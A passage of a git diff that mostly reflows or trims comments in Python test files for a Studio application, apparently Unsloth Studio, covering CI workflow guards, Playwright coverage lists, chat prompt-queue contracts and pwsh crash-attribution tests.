None:offenders.append("workflow env (applies to every job)")for jid, job in (doc.get("jobs") or {}).items():diff --git a/tests/studio/test_mac_tab_capability_warm_window.py b/tests/studio/test_mac_tab_capability_warm_window.pyindex b1251ef17c7..6d1940644dd 100644--- a/tests/studio/test_mac_tab_capability_warm_window.py+++ b/tests/studio/test_mac_tab_capability_warm_window.py@@ -32,14 +32,12 @@ SCRIPT = REPO / "tests/studio/playwright_mac_tab_capabilities.py"APPEARANCE_STORE = REPO / "studio/frontend/src/features/settings/stores/appearance-custom-store.ts"BASE = "http://127.0.0.1:18893"-# A settled reply: no hardware_detecting at all. This is the state the runner is in by-# the time the browser is authenticated, and the one the old code passed vacuously on.+# A settled reply: no hardware_detecting at all.SETTLED = {"status": "healthy", "service": "Unsloth UI Backend", "device_type": "mac"}UNMEASURED = {"status": "healthy", "service": "Unsloth UI Backend", "hardware_detecting": True}-# Spelled out rather than read off the script, so these cases run unchanged against a-# build of it that does not define the constant yet. test_inline_row_ids_match_the_-# frontends_default_pinned_set is what keeps the spelling honest.+# Spelled out rather than read off the script, so these cases run unchanged against a build of it that does not define+# the constant yet. test_inline_row_ids_match_the_frontends_default_pinned_set is what keeps the spelling honest.TRAIN = "train"GREYED = {"disabled": True, "spinner": False}@@ -63,8 +61,8 @@ def _load(tmp_path: Path, monkeypatch: pytest.MonkeyPatch):monkeypatch.setenv("BASE_URL", BASE)monkeypatch.setenv("STUDIO_OLD_PW", "stub-password")monkeypatch.setenv("PW_ART_DIR", str(tmp_path / "art"))- # The real default gives the row 15s to settle; the stub answers instantly, so the- # only thing the wait would buy here is 15s of a red test.+ # The real default gives the row 15s to settle; the stub answers instantly, so the only thing the wait would buy+ # here is 15s of a red test.monkeypatch.setenv("STUDIO_MAC_FORCED_PENDING_S", "0.2")spec = importlib.util.spec_from_file_location("mac_tab_capabilities_under_test", SCRIPT)mod = importlib.util.module_from_spec(spec)@@ -700,9 +698,7 @@ def test_a_refused_port_does_not_get_the_recovery_window(tmp_path, monkeypatch):at once rather than costing the run 90 seconds to reach the same answer."""mod = _load(tmp_path, monkeypatch)calls = _scripted_probes(mod, ["refused"])- # Small but non-zero on purpose. A build that stopped returning early would spend it- # and rack up probes, so this fails on the call count in a moment rather than hanging- # the suite for as long as the real window lasts.+ # Small but non-zero on purpose.kind, _, _, probes = mod.await_recovery(window_s = 2.0, spacing_s = 0.0)assert kind == "refused"assert len(calls) == 1, f"spent the window instead of returning at once: {len(calls)} probes"@@ -772,8 +768,8 @@ def _serve(def do_GET(self):if trickle:- # Headers, then a byte at a time forever. Every chunk resets urllib's- # per-operation timeout, which is the shape that hangs a naive read().+ # Headers, then a byte at a time forever. Every chunk resets urllib's per-operation timeout, which is+ # the shape that hangs a naive read().self.send_response(200)self.send_header("Content-Length", "1000000")self.end_headers()@@ -902,9 +898,7 @@ def test_the_warning_counts_the_post_run_wait(tmp_path, monkeypatch, capsys):last timed-out sample, so the reported length leaves out every second of the watchthat actually saw the stall clear. A warning nobody can trust is worse than none."""mod = _load(tmp_path, monkeypatch)- # A SHORT trailing stall on purpose. With a long one the span alone clears any- # threshold and the assertion below passes whether or not the wait is counted, which- # is how this test first shipped without discriminating.+ # A SHORT trailing stall on purpose.samples = _timeline(150, stalls = [(140, 9999)])assert samples[-1]["kind"] == "timeout", "fixture no longer ends mid-stall"raw = max(end - start for start, end, _ in mod._stall_windows(samples))@@ -965,11 +959,9 @@ def _serve_trickling_headers():def drip(conn):try:conn.recv(4096)- # One header line that is never terminated, a byte at a time. Whole header- # LINES would hit http.client's own _MAXHEADERS cap of 100 and end the call- # on their own at about two seconds, which would make this fixture pass- # against a build that has no deadline at all. An unterminated line has no- # such cap and blocks urlopen for as long as the peer keeps dribbling.+ # One header line that is never terminated, a byte at a time.+ # Whole header LINES would hit http.client's own _MAXHEADERS cap of 100 and end the call on their own at+ # about two seconds, which would make this fixture pass against a build that has no deadline at all.conn.sendall(b"HTTP/1.1 200 OK\r\nX-Pad: ")while not stop.is_set():conn.sendall(b"x")@@ -1037,8 +1029,8 @@ def test_trickling_response_headers_cannot_outlive_the_probe_budget(tmp_path, moreturned, value, elapsed = _probe_bounded(mod, "/api/liveness", timeout = 0.5, wait = 6.0)finally:shutdown()- # Fixture preconditions first, so a server that stopped trickling fails loudly- # instead of letting the probe return fast and passing for free.+ # Fixture preconditions first, so a server that stopped trickling fails loudly instead of letting the probe return+ # fast and passing for free.assert state["accepted"] >= 1, "fixture never accepted a connection"assert state["lines"] >= 3, f"fixture stopped trickling headers after {state['lines']} bytes"assert state["lines"] < 100, (diff --git a/tests/studio/test_macos_slots_per_commit.py b/tests/studio/test_macos_slots_per_commit.pyindex ddc85f0400d..ffba76b06ef 100644--- a/tests/studio/test_macos_slots_per_commit.py+++ b/tests/studio/test_macos_slots_per_commit.py@@ -289,10 +289,10 @@ def test_a_commit_that_touches_nothing_relevant_starts_no_macos_job():)-# Images GitHub still schedules. macos-14 is absent deliberately: brownouts from-# 2026-10-05, removal 2026-11-02. Add to this set when GitHub ships an image, and-# remove from it when GitHub announces a retirement -- the removal is the point,-# because that is when this guard starts naming the jobs that have to move.+# Images GitHub still schedules. macos-14 is absent deliberately: brownouts from 2026-10-05,+# removal 2026-11-02. Add to this set when GitHub ships an image, and remove from it when GitHub+# announces a retirement -- the removal is the point, because that is when this guard starts+# naming the jobs that have to move.LIVE_MACOS_IMAGES = {"macos-15","macos-15-intel",@@ -312,16 +312,16 @@ def _macos_labels():for jid, job in doc["jobs"].items():if not isinstance(job, dict):continue- # runs-on plus the matrix it may select from: a retired image hides in- # an `include:` list just as easily as in a literal runs-on.+ # runs-on plus the matrix it may select from: a retired image hides in an `include:`+ # list just as easily as in a literal runs-on.blob = str(job.get("runs-on", ""))strategy = job.get("strategy") or {}blob += str((strategy.get("matrix") or {}) if isinstance(strategy, dict) else "")- # Only things shaped like a GitHub image name. The loose MACOS pattern- # used elsewhere in this file also matches build targets that merely- # contain "macos" -- release-desktop's matrix carries `macos-aarch64`,- # which is a Rust triple's nickname and never a runner label. Every- # real macOS image is macos-latest or macos-<version>[-intel].+ # Only things shaped like a GitHub image name. The loose MACOS pattern used elsewhere+ # in this file also matches build targets that merely contain "macos":+ # release-desktop's matrix carries `macos-aarch64`, which is a Rust triple's nickname+ # and never a runner label. Every real macOS image is macos-latest or+ # macos-<version>[-intel].for label in re.findall(r"\bmacos-(?:latest|\d+(?:-intel)?)\b", blob, re.I):found.append((path.name, jid, label.lower()))return founddiff --git a/tests/studio/test_main_runs_survive_merge_bursts.py b/tests/studio/test_main_runs_survive_merge_bursts.pyindex 1d579272cda..f06bd7f5ec5 100644--- a/tests/studio/test_main_runs_survive_merge_bursts.py+++ b/tests/studio/test_main_runs_survive_merge_bursts.py@@ -27,13 +27,10 @@ import yamlREPO = Path(__file__).resolve().parents[2]WORKFLOWS = REPO / ".github" / "workflows"-# Kaggle spends an external GPU quota rather than runner minutes. There a superseded run-# genuinely should be dropped instead of replayed per commit, so these keep one shared group-# and are the only workflows allowed to lose a main run.+# Kaggle spends an external GPU quota rather than runner minutes.QUOTA_BOUND = frozenset({"kaggle-t4-notebook-ci.yml", "kaggle-t4-studio-gpu-ci.yml"})-# Phrasings that assert main runs are not cancelled. A workflow may only say this if its-# group makes it true.+# Phrasings that assert main runs are not cancelled.CLAIMS_PROTECTION = re.compile(r"never on main|never cancelled on main|not cancelled on main|never cancels on main",re.IGNORECASE,@@ -45,7 +42,7 @@ def _documents() -> dict[str, dict]:for path in sorted(WORKFLOWS.glob("*.y*ml")):try:document = yaml.safe_load(path.read_text(encoding = "utf-8"))- except yaml.YAMLError: # not this guard's job to report+ except yaml.YAMLError:continueif isinstance(document, dict):out[path.name] = documentdiff --git a/tests/studio/test_model_picker_catalog_first_paint.py b/tests/studio/test_model_picker_catalog_first_paint.pyindex d39b34e2ac1..ef1425739a8 100644--- a/tests/studio/test_model_picker_catalog_first_paint.py+++ b/tests/studio/test_model_picker_catalog_first_paint.py@@ -48,8 +48,8 @@ def test_listing_takes_over_each_id_once_it_reports_it():rows_end = source.index("const recommendedMeta = useMemo(", rows_start)rows = source[rows_start:rows_end]- # orderRecommendedRows hands a seed over only to a row that survived `keep`:- # keying on the raw result set dropped curated rows the filters rejected.+ # orderRecommendedRows hands a seed over only to a row that survived `keep`: keying on the raw result set dropped+ # curated rows the filters rejected.assert "orderRecommendedRows({" in rowsassert "seeds: catalogSeedRows," in rowsassert "results: recommendedSearch.results," in rowsdiff --git a/tests/studio/test_multi_chat_prompt_queue_contract.py b/tests/studio/test_multi_chat_prompt_queue_contract.pyindex e6d621bbe5f..352d66f7096 100644--- a/tests/studio/test_multi_chat_prompt_queue_contract.py+++ b/tests/studio/test_multi_chat_prompt_queue_contract.py@@ -190,8 +190,8 @@ def test_composer_only_queues_behind_the_current_chat():"const dismissWaitToast = useCallback(",)assert "startHydratedPromptQueue(" in queue_composer_text- # Read into a local first: the send guard arms on the untrimmed value too,- # since that is what a late DOM write carries.+ # Read into a local first: the send guard arms on the untrimmed value too, since that is what a late DOM write+ # carries.assert "const cleared = aui.composer().getState().text" in queue_composer_textassert "cleared.trim() !== queuedPrompt" in queue_composer_textassert "promptQueueStartPendingRef.current" in THREAD@@ -204,9 +204,8 @@ def test_composer_only_queues_behind_the_current_chat():dispatch_guard = _guard_for(THREAD, "startPromptQueue(items, target, waitForCurrentRun);")assert "promptQueueStartPendingRef.current.get(reservationKey) ===" in dispatch_guardassert "promptQueueStartPendingRef.current.has(" not in dispatch_guard- # The other two are load-bearing as well. Abort without the identity check- # reports the successor's start as this one's failure; cleanup without it- # deletes the successor's entry.+ # The other two are load-bearing as well. Abort without the identity check reports the successor's start as this+ # one's failure; cleanup without it deletes the successor's entry.assert THREAD.count("promptQueueStartPendingRef.current.get(reservationKey) ===") == 3assert "promptQueueStartPendingRef.current.delete(reservationKey)" in THREADassert "promptQueueStartPendingRef.current.set(reservationKey, reservation)" in THREAD@@ -334,22 +333,20 @@ def test_a_send_parked_on_the_settings_gate_queues_if_a_run_started_meanwhile():"the release no longer asks whether a run started while the send was ""parked, so a parked prompt is sent into a streaming thread again")- # A pre-stream reservation is a run that has been accepted and has not- # reached isRunning yet. handleSubmit treats it as running; so must this,- # or the same prompt is lost in a narrower window.+ # A pre-stream reservation is a run that has been accepted and has not reached isRunning yet. handleSubmit treats+ # it as running; so must this, or the same prompt is lost in a narrower window.assert "hasPreStreamRunReservation(preStreamThreadIds)" in code- # The gate on the queue branches, which is the fix itself: an active run- # governs the release, not the Cmd/Ctrl+Enter intent.+ # The gate on the queue branches, which is the fix itself: an active run governs the release, not the+ # Cmd/Ctrl+Enter intent.running = code.index("if (waitForCurrentRun) {")branch = code[running : code.index("if (forceQueue && !disableQueue) {")]assert "queueComposerText(true);" in branch, ("the release no longer queues behind the run that started while the ""send was parked, so the prompt goes back to being dropped silently")- # Every refusal handleSubmit makes, made here too. A parked send is the- # same submit arriving late, so a branch it does not mirror is a state the- # UI forbids being reachable through the settings gate.+ # Every refusal handleSubmit makes, made here too. A parked send is the same submit arriving late, so a branch it+ # does not mirror is a state the UI forbids being reachable through the settings gate.for rule, why in (("if (disableQueue) {",@@ -369,8 +366,8 @@ def test_a_send_parked_on_the_settings_gate_queues_if_a_run_started_meanwhile():"be queued may be dispatched into a streaming thread")- # Research disables input outright -- handleSubmit returns before anything- # else and the UI shows Stop research instead of Send.+ # Research disables input outright -- handleSubmit returns before anything else and the UI shows Stop research+ # instead of Send.research = code.index("if (isResearchActive) {")assert research < running, ("the research refusal is not ahead of the queue path, so a prompt "@@ -387,8 +384,8 @@ def test_a_send_parked_on_the_settings_gate_queues_if_a_run_started_meanwhile():"the stored draft is cleared before the queue and refusal paths, so a ""prompt that is neither queued nor sent cannot be recovered")- # Unchanged: with nothing running the chord still queues, and an ordinary- # send still sends. A fix that stopped sending would strand that case.+ # Unchanged: with nothing running the chord still queues, and an ordinary send still sends. A fix that stopped+ # sending would strand that case.assert "sendReservedComposer();" in code@@ -936,8 +933,8 @@ def test_clear_all_invalidates_and_removes_late_fresh_thread_initialization():assert CLEAR_ALL_CHATS.index("chatHistoryClearBoundary.advance();") < CLEAR_ALL_CHATS.index("requestPromptQueueStop();")- # Matched on the call prefix, not the whole call: #8932 gave clearStoredChats an options- # argument, which changes nothing about the ordering this pins.+ # Matched on the call prefix, not the whole call: #8932 gave clearStoredChats an options argument, which changes+ # nothing about the ordering this pins.assert CLEAR_ALL_CHATS.index("requestPromptQueueStop();") < CLEAR_ALL_CHATS.index("return await clearStoredChats(")@@ -1028,7 +1025,6 @@ def test_a_backgrounded_pane_autosaves_without_naming_itself_active():"\nexport function useChatActive(",)- # The pane knows it is hidden.assert ("backgrounded: boolean;" in autosave), "ThreadBackendAutosave has to be told, like every other sync component here"@@ -1036,9 +1032,8 @@ def test_a_backgrounded_pane_autosaves_without_naming_itself_active():"backgrounded={backgrounded}" in RUNTIME_PROVIDER), "and the provider has to pass it, or the prop is inert"- # Read at publish time, not captured when the save was queued: the save that publishes- # may have been scheduled while the pane was on screen and resolve long after Compare- # hid it.+ # Read at publish time, not captured when the save was queued: the save that publishes may have been scheduled+ # while the pane was on screen and resolve long after Compare hid it.assert "const backgroundedRef = useRef(backgrounded);" in autosaveassert "backgroundedRef.current = backgrounded;" in autosave@@ -1049,9 +1044,9 @@ def test_a_backgrounded_pane_autosaves_without_naming_itself_active():publish_at = autosave.index("store.setActiveThreadId(remoteId)")guard_at = autosave.index("!backgroundedRef.current")- # ...and on no switch away from this thread being in flight. switchToNewThread() is- # async, so mainThreadId still reads as this pane for the whole gap, and a save landing- # in it republishes the chat the user just left into the view they navigated to.+ # ...and on no switch away from this thread being in flight. switchToNewThread() is async, so mainThreadId still+ # reads as this pane for the whole gap, and a save landing in it republishes the chat the user just left into the+ # view they navigated to.assert "!switchInFlight" in autosave, ("the publication must also stand down while this provider's own New Chat switch is ""still resolving"@@ -1061,8 +1056,8 @@ def test_a_backgrounded_pane_autosaves_without_naming_itself_active():), "the in-flight window is attempt != landedAttempt, not merely activeNonce being set"assert guard_at < publish_at, "the guard has to come before the write it guards"- # The save itself is untouched: gating it would defeat the PR, which exists so a run- # that outlives its view still lands on disk.+ # The save itself is untouched: gating it would defeat the PR, which exists so a run that outlives its view still+ # lands on disk.for call in ("await ensureStoredChatThread(remoteId)","await syncExportedRepositoryToBackend(remoteId, exported)",@@ -1097,8 +1092,8 @@ def test_the_history_adapters_publish_stands_down_with_the_autosaves():"resolving; see the autosave test for why mainThreadId cannot be trusted in that gap")- # Read at publish time, through a ref, for the same reason the autosave does: the write- # is queued when the message arrives and resolves after Compare may have hidden the pane.+ # Read at publish time, through a ref, for the same reason the autosave does: the write is queued when the message+ # arrives and resolves after Compare may have hidden the pane.assert "const backgroundedRef = useRef(backgrounded);" in RUNTIME_PROVIDERassert "backgroundedRef.current = backgrounded;" in RUNTIME_PROVIDERdiff --git a/tests/studio/test_new_chat_context_recount.py b/tests/studio/test_new_chat_context_recount.pyindex 24288a50024..328bef40d43 100644--- a/tests/studio/test_new_chat_context_recount.py+++ b/tests/studio/test_new_chat_context_recount.py@@ -1091,7 +1091,6 @@ def test_a_loaded_model_reprices_the_open_thread(world_setup, expected_sent, cou[# Sent mid-count then stopped before any usage, so the snapshot guard cannot see the turn.pytest.param(True, None, id = "a_turn_arrives_mid_count"),- # Control: the branch the count priced is still the one on screen.pytest.param(False, 62, id = "branch_unchanged"),],)@@ -1155,11 +1154,11 @@ def test_a_turn_sent_while_counting_drops_the_count(send_a_turn, expected_total)@pytest.mark.parametrize(("running", "grew", "expected_total"),[- # A run that BEGINS after the count was issued. The entry gate cannot catch this one: it- # ran when the thread was idle, so only the publish guard is left to drop the total.+ # A run that BEGINS after the count was issued. The entry gate cannot catch this one: it ran when the thread was+ # idle, so only the publish guard is left to drop the total.(True, True, None),- # Stopped before the count returned, so runningByThreadId is already false and the- # usage snapshot is still equal: only the content makes the branch look different.+ # Stopped before the count returned, so runningByThreadId is already false and the usage snapshot is still+ # equal: only the content makes the branch look different.(False, True, None),(False, False, 62),],@@ -1934,7 +1933,6 @@ def test_an_output_only_audio_gguf_is_never_recounted(model_flags, expected_coun[# Decoding on the local llama-server: the count would share the process with generation.('{ "thread-a": true }', 0),- # A different thread, still the same llama-server.('{ "thread-b": true }', 0),# Control: an idle server is what the count is for.("{}", 1),diff --git a/tests/studio/test_nsis_signed_plugins_contract.py b/tests/studio/test_nsis_signed_plugins_contract.pyindex e3873891a8a..59db38cf84c 100644--- a/tests/studio/test_nsis_signed_plugins_contract.py+++ b/tests/studio/test_nsis_signed_plugins_contract.py@@ -46,8 +46,7 @@ def _line_of(template: str, needle: str) -> int:def _signed_dir_lines(template: str) -> dict[str, int]:- # Each form is checked on its own. Only one resolves per bundler version, so- # taking the earliest would let the other drift below an include unnoticed.+ # Each form is checked on its own.return {"env var": _line_of(template, ENV_FORM),"template var": _line_of(template, TEMPLATE_FORM),@@ -56,9 +55,8 @@ def _signed_dir_lines(template: str) -> dict[str, int]:@pytest.mark.parametrize("form", ["env var", "template var"])def test_signed_plugin_dir_precedes_every_plugin_use(template: str, form: str) -> None:- # !addplugindir after a plugin call raises "conflicts with a plugin in- # another directory" at compile time, or silently loses to an already- # packed default.+ # !addplugindir after a plugin call raises "conflicts with a plugin in another directory" at+ # compile time, or silently loses to an already packed default.lines = template.splitlines()plugin_calls = [idiff --git a/tests/studio/test_pester_bootstrap_hardening.py b/tests/studio/test_pester_bootstrap_hardening.pyindex d3b9fa43787..32397fa0b66 100644--- a/tests/studio/test_pester_bootstrap_hardening.py+++ b/tests/studio/test_pester_bootstrap_hardening.py@@ -75,8 +75,8 @@ def test_registration_failures_are_never_silenced():"registering the gallery must fail loudly, not silently leave it unregistered: "f"{stripped}")- # Without this, deleting both registrations would leave the loop with nothing- # to inspect and the test would pass on an unregistered-PSGallery runner.+ # Without this, deleting both registrations would leave the loop with nothing to inspect and the test would pass on+ # an unregistered-PSGallery runner.assert seen == {"Register-PSRepository","Register-PSResourceRepository",diff --git a/tests/studio/test_pip_cache_naming.py b/tests/studio/test_pip_cache_naming.pyindex c1f5482ca18..b33a6f98f0c 100644--- a/tests/studio/test_pip_cache_naming.py+++ b/tests/studio/test_pip_cache_naming.py@@ -89,8 +89,8 @@ def test_no_two_jobs_share_a_cache_name():def test_jobs_sharing_key_files_still_have_distinct_names():- # Jobs given the same key-files are the likeliest to be given the same name,- # which is the exact case that produced the original defect.+ # Jobs given the same key-files are the likeliest to be given the same name, which is the exact case that produced+ # the original defect.by_files = {}for path in WORKFLOWS:for job, steps in _jobs(path):diff --git a/tests/studio/test_playwright_suites_run_in_ci.py b/tests/studio/test_playwright_suites_run_in_ci.pyindex cfd8e67b2b9..3a6d4c5c908 100644--- a/tests/studio/test_playwright_suites_run_in_ci.py+++ b/tests/studio/test_playwright_suites_run_in_ci.py@@ -22,23 +22,20 @@ import yamlREPO = Path(__file__).resolve().parents[2]DRIVERS = sorted((REPO / "tests" / "studio").glob("playwright_*.py"))-# Drivers no workflow runs, each with why. Shrinking this list is the point;-# growing it needs a reason written here.+# Drivers no workflow runs, each with why.NOT_IN_CI = {- # Needs the Tauri desktop shell (it serves a page under the real Tauri CSP),- # which no Linux runner in this repo builds. tests/studio/- # test_tauri_python_tool_images.py asserts the policy statically instead.+ # Needs the Tauri desktop shell (it serves a page under the real Tauri CSP), which no Linux runner in this repo+ # builds.+ # tests/studio/ test_tauri_python_tool_images.py asserts the policy statically instead."playwright_tauri_python_tool_images.py",- # Drives the Train page pickers, which need a dataset and a model resolved- # through huggingface_hub; the UI workflows deliberately boot API-only with- # one 254 MiB GGUF and no network model resolution.+ # Drives the Train page pickers, which need a dataset and a model resolved through huggingface_hub;+ # the UI workflows deliberately boot API-only with one 254 MiB GGUF and no network model resolution."playwright_train_pickers.py",- # A measurement harness rather than a gate: it prints the per-N cost table #8977- # was sized from and deliberately sets no budget, and the sizes that make the- # curve mean anything (to 500 messages under 6x CPU throttling) cost tens of- # minutes. Run by hand when that curve needs re-measuring. The part of it that- # can go wrong silently, the verdict in harness_failures, is driven without a- # browser by test_autoscroll_harness_contract.py, which CI does run.+ # A measurement harness rather than a gate: it prints the per-N cost table #8977 was sized from and deliberately+ # sets no budget, and the sizes that make the curve mean anything (to 500 messages under 6x CPU throttling) cost+ # tens of minutes.+ # The part of it that can go wrong silently, the verdict in harness_failures, is driven without a browser by+ # test_autoscroll_harness_contract.py, which CI does run."playwright_thread_weight.py",# The same shape as playwright_thread_weight.py: a measurement harness, not a# gate. It prints what a collapsible toggle costs against document size, and it@@ -50,15 +47,11 @@ NOT_IN_CI = {# the unmeasured primitive, is covered without a browser by# studio/frontend/tests/reasoning-grid-collapse.test.ts, which CI does run."playwright_collapse_layout.py",- # Half of what it asserts is about the engine Frontend CI does not install. It proves the- # thread's fast copy path byte for byte against the real clipboard on BOTH engines: Chromium- # answers and must match, WebKit must refuse and its refusal must be backed by a measured- # divergence. That job installs Chromium only, so a Chromium-only run would assert the easy- # half and silently drop the reason the fast path is engine-gated at all. It also needs a- # vite library build of the module, which no other smoke there does. Run by hand when the- # serialiser changes. What CI does run is studio/frontend/tests/thread-fast-copy.test.ts,- # which pins the gate's branches and the patch's bookkeeping but, by its own docstring,- # cannot see how a real engine serialises anything.+ # Half of what it asserts is about the engine Frontend CI does not install.+ # It proves the thread's fast copy path byte for byte against the real clipboard on BOTH engines: Chromium answers+ # and must match, WebKit must refuse and its refusal must be backed by a measured divergence.+ # What CI does run is studio/frontend/tests/thread-fast-copy.test.ts, which pins the gate's branches and the patch's+ # bookkeeping but, by its own docstring, cannot see how a real engine serialises anything."playwright_thread_fast_copy.py",}@@ -224,13 +217,11 @@ def test_the_linux_job_still_drives_all_three_browser_engines():)job = document["jobs"]["ui-indicator"]# Two narrowings, each closing a way this check could pass on nothing:- #- # uncommented -- commenting a line out is how an invocation gets disabled, and a raw- # substring test reads `# bash ...engine` as coverage. Reported on the PR that added- # this: all three could be commented out with this green.+ # uncommented -- commenting a line out is how an invocation gets disabled, and a raw substring+ # test reads `# bash ...engine` as coverage.# only the steps that invoke the helper -- scanning every run in the job would read- # `playwright install --with-deps chromium firefox webkit` as coverage, and that- # step names all three engines whether or not any of them is ever driven.+ # `playwright install --with-deps chromium firefox webkit` as coverage, and that step names+ # all three engines whether or not any of them is ever driven.runs = _uncommented("\n".join(str(step.get("run", ""))@@ -262,8 +253,7 @@ def test_the_linux_job_still_drives_all_three_browser_engines():f"coverage this job was split out to keep, and the repo-wide check above cannot "f"see it go: the Mac and Windows workflows name the same helper.")- # And the disabled form does not read as coverage, or the check above passes on- # commented-out commands.+ # And the disabled form does not read as coverage, or the check above passes on commented-out commands.disabled = _uncommented("\n".join(f"# bash run-studio-indicator-browser.sh 18899 {e}" for e in ("chromium", "webkit")@@ -311,8 +301,8 @@ def test_the_scan_reads_the_workflows_it_claims_to():"reading .github/scripts")assert "actions/install-unsloth-local" in text- # From inside that action's body, not any workflow, so this fails if the walk- # matched the `uses:` reference without opening the action.+ # From inside that action's body, not any workflow, so this fails if the walk matched the `uses:` reference without+ # opening the action.assert "The POSIX `install.sh --local --no-torch` bootstrap" in text, ("the composite action's own contents are not in the text, so a driver launched ""from inside one would read as an orphan"diff --git a/tests/studio/test_project_chat_view_switch.py b/tests/studio/test_project_chat_view_switch.pyindex 8ebadd4565d..0f70cbb363c 100644--- a/tests/studio/test_project_chat_view_switch.py+++ b/tests/studio/test_project_chat_view_switch.py@@ -49,7 +49,6 @@ TEMP = WORKDIR / "temp" / "project_chat_view_switch"SOURCES = (PROVIDER, STORE, QUEUE)-# Every name the emulator can supply to a sliced dependency array.BOUND_NAMES = {"aui","checkpoint",@@ -141,8 +140,6 @@ def _set_active_thread_id_reducer() -> str:# `export { X } from "./y"` and `import type { X } from "./y"`, at the top level.-# The harness inlines one file, so a surviving specifier is a module Node cannot-# resolve in the temp dir; the names themselves are stubbed in the prelude._REEXPORT = re.compile(r"^(?:export|import)\s+(?:type\s+)?\{[^}]*\}\s+from\s+[\"'][^\"']+[\"'];\s*$",re.MULTILINE,@@ -583,8 +580,8 @@ def _harness_source() -> str:return prelude + _prompt_queue_boundary_body() + render-# A rejected switchToNewThread() is only caught on the deferred path, so node would abort-# the whole process on the immediate one. Recorded here instead, and asserted on.+# A rejected switchToNewThread() is only caught on the deferred path, so node would abort the whole process on the+# immediate one. Recorded here instead, and asserted on.SCRIPT_HEADER = """const unhandled: string[] = [];process.on("unhandledRejection", (reason: any) => {@@ -607,8 +604,7 @@ def _run(imports: str, body: str) -> dict:return run_harness(TEMP, _harness_source(), script, sources = SOURCES)-# A resident GGUF, so the second effect has something it could price. Only the tests about-# the pause gate need it; everywhere else the bar has nothing to count and stands down.+# A resident GGUF, so the second effect has something it could price.LOADED_MODEL = """seed({ params: { checkpoint: "unsloth/gguf-model" }, loadedContextLength: 8192 });"""@@ -630,9 +626,9 @@ def test_the_provider_wires_the_pause_and_the_shared_ref():"ThreadNewChatSwitch must render only for a new-chat nonce, and never alongside ""ThreadAutoSwitch: both write the same shared switch state")- # Three, not two: ThreadBackendAutosave reads the same ref so its active-thread- # publication can tell "this pane is on screen" from "a switch away from it has not- # landed yet". Both switch children still share it, which is what the count protects.+ # Three, not two: ThreadBackendAutosave reads the same ref so its active-thread publication can tell "this pane is+ # on screen" from "a switch away from it has not landed yet". Both switch children still share it, which is what the+ # count protects.assert jsx.count("newThreadSwitchStateRef={newThreadSwitchStateRef}") == 3, ("both switch children must share ONE ref, or leaving a new chat for a saved one ""cannot tell the next new chat that the composer is no longer fresh -- and the "@@ -671,8 +667,6 @@ def test_the_harness_stubs_every_name_the_queue_boundary_imports():# ----------------------------------------------------------------------------# (a) Nonce transitions.-# ---------------------------------------------------------------------------def test_a_first_new_chat_switches_once_and_clears_nothing():@@ -964,8 +958,8 @@ def test_a_composer_that_is_not_mounted_yet_does_not_break_the_switch():@pytest.mark.parametrize(("setup", "path", "attempts"),[- # activeNonce is non-null when the second nonce arrives, so the clear is the- # synchronous one, outside any promise chain of its own.+ # activeNonce is non-null when the second nonce arrives, so the clear is the synchronous one, outside any+ # promise chain of its own.pytest.param('await renderSettled({ newThreadNonce: "n0" });', "immediate", 2, id = "immediate"),diff --git a/tests/studio/test_pwsh_interpreter_crash_attribution.py b/tests/studio/test_pwsh_interpreter_crash_attribution.pyindex 1e64725d225..364dcdfd38c 100644--- a/tests/studio/test_pwsh_interpreter_crash_attribution.py+++ b/tests/studio/test_pwsh_interpreter_crash_attribution.py@@ -24,16 +24,14 @@ import pytestfrom unsloth_pwsh_runner import PWSH, PwshInterpreterCrash, run_pwsh-# A SIGABRT is forged with Python rather than pwsh: the real trigger is a .NET startup-# stack overflow we cannot summon on demand, and the helper keys on the signal, not on who-# sent it, so `os.abort()` reproduces exactly the condition CI hit.-#-# PR_SET_DUMPABLE = 0 first, per tests/test_deliberate_crashes_suppress_cores.py. The-# child still dies of SIGABRT, so every verdict below is unchanged; what goes away is-# apport reading a multi-MB core before the child is reaped, on each of the several-# aborts these tests spend. Linux-only, and deliberately not fatal elsewhere: Windows-# has no CDLL(None) and pipes no core anywhere, so failing to arm it there would turn a-# no-op into a lost test.+# A SIGABRT is forged with Python rather than pwsh: the real trigger is a .NET startup stack overflow we cannot summon+# on demand, and the helper keys on the signal, not on who sent it, so `os.abort()` reproduces exactly the condition CI+# hit.+# PR_SET_DUMPABLE = 0 first, per tests/test_deliberate_crashes_suppress_cores.py. The child still dies of SIGABRT, so+# every verdict below is unchanged; what goes away is apport reading a multi-MB core before the child is reaped, on+# each of the several aborts these tests spend.+# Linux-only, and deliberately not fatal elsewhere: Windows has no CDLL(None) and pipes no core anywhere, so failing to+# arm it there would turn a no-op into a lost test._ABORT = [sys.executable,"-c",@@ -60,8 +58,8 @@ def test_a_clean_run_with_the_wrong_answer_still_fails_with_its_own_message():assert proc.returncode == 3assert proc.stdout.strip() == "WRONG"- # ...and `check` still raises the ordinary CalledProcessError a caller expects, so- # migrating a `subprocess.run(..., check = True)` call site changes no failure text.+ # ...and `check` still raises the ordinary CalledProcessError a caller expects, so migrating a `subprocess.run(...,+ # check = True)` call site changes no failure text.with pytest.raises(subprocess.CalledProcessError):run_pwsh(_CLEAN_WRONG_ANSWER, check = True, capture_output = True, text = True)@@ -105,13 +103,12 @@ def test_the_startup_cache_is_redirected_without_disturbing_the_callers_env():assert "XDG_CACHE_HOME" in child, sorted(child)assert child["HOME"] == "/nonexistent", "the caller's hermetic HOME was overwritten"assert child["PATH"] == "/usr/bin:/bin"- # The whole point of a hermetic dict: nothing ambient may reach the child. (CPython's- # own PEP 538 locale coercion can add LC_CTYPE, which is why this probes for a named- # leak rather than asserting an exact key set.)+ # The whole point of a hermetic dict: nothing ambient may reach the child.+ # (CPython's own PEP 538 locale coercion can add LC_CTYPE, which is why this probes for a named leak rather than+ # asserting an exact key set.)assert marker not in child, "the ambient environment leaked past a hermetic env dict"- # env = None must still mean inherit, or every call site that relies on the ambient- # PATH silently loses it.+ # env = None must still mean inherit, or every call site that relies on the ambient PATH silently loses it.inherited = json.loads(run_pwsh(dump, capture_output = True, text = True).stdout)assert inherited["XDG_CACHE_HOME"] == child["XDG_CACHE_HOME"]assert inherited.get("PATH") == os.environ.get("PATH")diff --git a/tests/studio/test_remote_connection_models_contract.py b/tests/studio/test_remote_connection_models_contract.pyindex a03c85e0a2a..80810dd3c03 100644--- a/tests/studio/test_remote_connection_models_contract.py+++ b/tests/studio/test_remote_connection_models_contract.py@@ -97,8 +97,8 @@ def test_connections_are_hydrated_on_startup():assert ("bootstrapPersistedCredentials()" in root), "nothing calls the credential bootstrap, so no page hydrates connections"- # The call lives inside 